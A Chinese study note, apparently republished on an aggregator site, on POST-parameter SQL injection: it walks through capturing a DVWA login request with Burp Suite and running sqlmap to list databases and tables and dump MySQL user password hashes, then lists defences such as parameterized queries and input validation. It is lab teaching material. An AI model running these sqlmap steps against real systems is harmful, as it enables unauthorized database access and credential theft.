利用sqlmap进行post注入学习笔记

这篇具有很好参考价值的文章主要介绍了利用sqlmap进行post注入学习笔记。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

了解sqlmap

sqlmap是一款开源、功能强大的自动化SQL注入工具,支持Access,MySQL,Oracle,SQL Server,DB2等多种数据库。支持get,post ,cookie注入,支持基于布尔的盲注,基于时间的盲注,错误回显注入,联合查询注入,堆查询注入等。

POST注入形成原因

1.在登录处,用于判断用户名、密码会使用select语句;

2.在修改密码处,更新密码,会使用到update语句;

3.在商城系统中,订单的添加,删除,可能会使用到insert,delete语句;

登录是执行POST请求,与GET请求不同,传给服务器的值不会再URL中出现了,而是在请求体里,当服务器拿到请求体的数据,再执行SQL语句,查询是否存在用户输入的用户名和密码。

传入参数,服务器解析参数之后,完整闭合SQL语句,构造万能密码成功登陆。

POST注入也属于SQL注入,所以究其原因还是由于参数没有过滤导致的。源码如下:

sqlmap提交post请求,网络安全,网络安全,mysql,web安全,Powered by 金山文档

使用sqlmap进行POST注入

进入DVWA,选择Brute Force选项,username和password随便输入,然后打开burpsuite,设置好本地代理,进行抓包。

sqlmap提交post请求,网络安全,网络安全,mysql,web安全,Powered by 金山文档
sqlmap提交post请求,网络安全,网络安全,mysql,web安全,Powered by 金山文档

将抓到的包保存为1.txt,并放到c盘根目录下。

打开sqlmap。第一步:列出数据库:

sqlmap.py -r c:\1.txt -p username --dbs

-r表示加载一个文件,-p指定参数

sqlmap提交post请求,网络安全,网络安全,mysql,web安全,Powered by 金山文档

第二步:猜表:选择一个数据库进行猜表:

sqlmap.py -r c:\1.txt-p username -D mysql --tables

-D表示数据库;-T表示表;-C表示列

sqlmap提交post请求,网络安全,网络安全,mysql,web安全,Powered by 金山文档

第三步:猜列:

sqlmap.py -r c:\1.txt-p username -D mysql -T user--columns

sqlmap提交post请求,网络安全,网络安全,mysql,web安全,Powered by 金山文档

第四步:得到数据:

sqlmap.py -r c:\1.txt -p username -D mysql -T user -C“User,Password” --dump

sqlmap提交post请求,网络安全,网络安全,mysql,web安全,Powered by 金山文档

此时就得到了root用户的密码哈希值,接下来解密就行。

如何防止POST注入?

权限区分:

普通用户与系统管理员用户的权限要有严格的区分。由于Drop 语句关系到数据库的基本对象,故要操作这个语句用户必须有相关的权限。在权限设计中,对于终端用户,即应用软件的使用者,没有必要给他们数据库对象的建立、删除等权限。那么即使在他们使用 SQL 语句中带有嵌入式的恶意代码,由于其用户权限的限制,这些代码也将无法被执行。故应用程序在设计的时候,最好把系统管理员的用户与普通用户区分开来。如此可以最大限度的减少注入式攻击对数据库带来的危害。

使用参数化语句:

如果在编写 SQL 语句的时候,用户输入的变量不是直接嵌入到 SQL 语句,而是通过参数来传递这个变量的话,那么就可以有效的防治 SQL 注入式攻击。也就是说,用户的输入绝对不能够直接被嵌入到 SQL 语句中。与此相反,用户的输入的内容必须进行过滤,或者使用参数化的语句来传递用户输入的变量。参数化的语句使用参数而不是将用户输入变量嵌入到 SQL 语句中。采用这种措施,可以杜绝大部分的 SQL 注入式攻击。

对用户的输入进行验证:

通过测试类型、长度、格式和范围来验证用户输入,过滤用户输入的内容。这是防止 SQL 注入式攻击的常见并且行之有效的措施。防治 SQL 注入式攻击可以采用两种方法,一是加强对用户输入内容的检查与验证;二是强迫使用参数化语句来传递用户输入的内容。在 SQLServer 数据库中,有比较多的用户输入内容验证工具,可以帮助管理员来对付SQL 注入式攻击。测试字符串变量的内容,只接受所需的值。拒绝包含二进制数据、转义序列和注释字符的输入内容。这有助于防止脚本注入,防止某些缓冲区溢出攻击。测试用户输入内容的大小和数据类型,强制执行适当的限制与转换。这即有助于防止有意造成的缓冲区溢出,对于防治注入式攻击有比较明显的效果。

多使用数据库自带的安全参数:

为了减少注入式攻击对于 SQLServer 数据库的不良影响,在 SQLServer 数据库专门设计了相对安全的 SQL 参数。在数据库设计过程中,工程师要尽量采用这些参数来杜绝恶意的 SQL 注入式攻击。如在 SQL Server 数据库中提供了 Parameters 集合。这个集合提供了类型检查和长度验证的功能。如果管理员采用了 Parameters 这个集合的话,则用户输入的内容将被视为字符值而不是可执行代码。即使用户输入的内容中含有可执行代码,则数据库也会过滤掉。因为此时数据库只把它当作普通的字符来处理。

多层环境防止 SQL 注入:

在多层应用环境中,用户输入的所有数据都应该在验证之后才能被允许进入到可信区域。未通过验证过程的数据应被数据库拒绝,并向上一层返回一个错误信息。实现多层验证。对无目的的恶意用户采取的预防措施,对坚定的攻击者可能无效。

设置陷阱账号:

设置两个帐号,一个是普通管理员帐号,一个是防注入的帐号。将防注入的账号设置的很象管理员,如 admin,以制造假象吸引软件的检测,而密码是大于千字以上的中文字符,迫使软件分析账号的时候进入全负荷状态甚至资源耗尽而死机。文章来源地址https://www.toymoban.com/news/detail-636730.html

到了这里,关于利用sqlmap进行post注入学习笔记的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • AJAX学习笔记2发送Post请求

    AJAX学习笔记1发送Get请求_biubiubiu0706的博客-CSDN博客 继续 AJAX发送POST请求  无参数 测试 改回来   测试 AJAX POST请求   请求体中提交参数 测试 后端打断点 如何用AJAX模拟form表单post请求提交数据呢? 设置请求头必须在open之后,send之前 请求头里的设置好比form表单的enctype

    2024年02月10日
    浏览(31)
  • 使用postman提交post方式的表单请求

    这里请求路径是测试数据库的,本地调试的话要换成自己的host和ip

    2024年02月12日
    浏览(39)
  • 前端提交post请求却变成get请求的原因及解决方法

    导语:笔者在vue2项目中,使用axios封装post请求,提交请求时却变成get请求 编写登录方法时,把method敲成methods,而且又看到了提示就直接使用了(太粗心😭) [ Axios 中文文档 ] 改成如下代码即可 · 浏览器的默认请求模式是GET     当我们在浏览器地址栏中输入一个网址或单击链

    2024年02月06日
    浏览(78)
  • HTTP请求方法之POST请求的三种常见数据提交格式

    目录 🌐 application/x-www-form-urlencoded 🌐 multipart/form-data 🌐 application/json    本文所讲的 POST 请求是 HTTP/1.1 协议中规定的众多 HTTP 请求方法的其中最常用的一个。一般使用 POST 请求方法向服务器发送数据(主要是一些创建更新操作),本文讨论的是 POST 请求方法常用的三种数据

    2024年02月09日
    浏览(63)
  • 【接口测试】POST请求提交数据的三种方式及Postman实现

      POST请求是HTPP协议中一种常用的请求方法,它的使用场景是向客户端向服务器提交数据,比如登录、注册、添加等场景。另一种常用的请求方法是GET,它的使用场景是向服务器获取数据。 当前,POST请求提交数据的编码方式有三种: application/x-www-form-urlencoded multipart/form-dat

    2024年02月10日
    浏览(40)
  • 使用ajax向服务器发起post请求(提交数据给服务器)

     一、jQuery中发起Ajax请求的三种方法:        功能 简介:         1、$get():功能单一,专门用来发起get请求,从而将服务器上的资源“请求”到客户端来进行使用。         2、$post():功能单一,专门用来发起post请求,从而向服务器“提交”数据。         3、$ajax():是

    2024年02月12日
    浏览(36)
  • 28、web攻防——通用漏洞&SQL注入&HTTP头XFF&COOKIE&POST请求

    $_GET :接收get请求,传输少量数据,URL是有长度限制的; $_POST :接收post请求; $_COOKIE :接收cookie,用于身份验证; $_REQUEST :收集通过 GET 、POST和COOKIE 方法发送的表单数据; $_SERVER :接收数据包中的一些内容,如浏览器信息、当前访问url地址等; 网站功能点: 后台要记录

    2024年01月19日
    浏览(42)
  • python使用requests提交post请求并上传文件(multipart/form-data)

    目录 一、背景 二、请求接口上传文件         2.1、分析接口         2.2、python进行请求 三、总结         也是前几天,有一个需求上传文件需要自动化。具体是上传到系统一个文件,并收到返回结果。考虑使用python的requests,一般这种查询或上传文件的接口都是post请求。

    2024年02月12日
    浏览(36)
  • 【js】原生js进行post请求

    【js】原生js进行post请求 let url = \\\'https://xxxupload\\\'       let params = {         \\\"body\\\": {           \\\"id\\\": row.id         },         \\\"channel\\\": \\\"\\\",         \\\"token\\\": \\\"\\\",         \\\"userId\\\": \\\"\\\",         \\\"version\\\": \\\"1.1.0\\\"       }                        let xhr = new XMLHttpRequest(); // 创建XHR对象  

    2024年02月12日
    浏览(27)
  • 如何用post的方式进行eventSource请求

    我们平时的工作中可能需要和服务端建立链接,从而来接受服务端推送的数据,常用的就是eventSource,我们平时常用的就是通过get的方式创建一个eventSource,但是我们如何通过post的方式创建呢?首先我们介绍一下eventSource,还有他和websocket的区别: 1.eventSource的介绍 1)eventSo

    2023年04月08日
    浏览(19)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包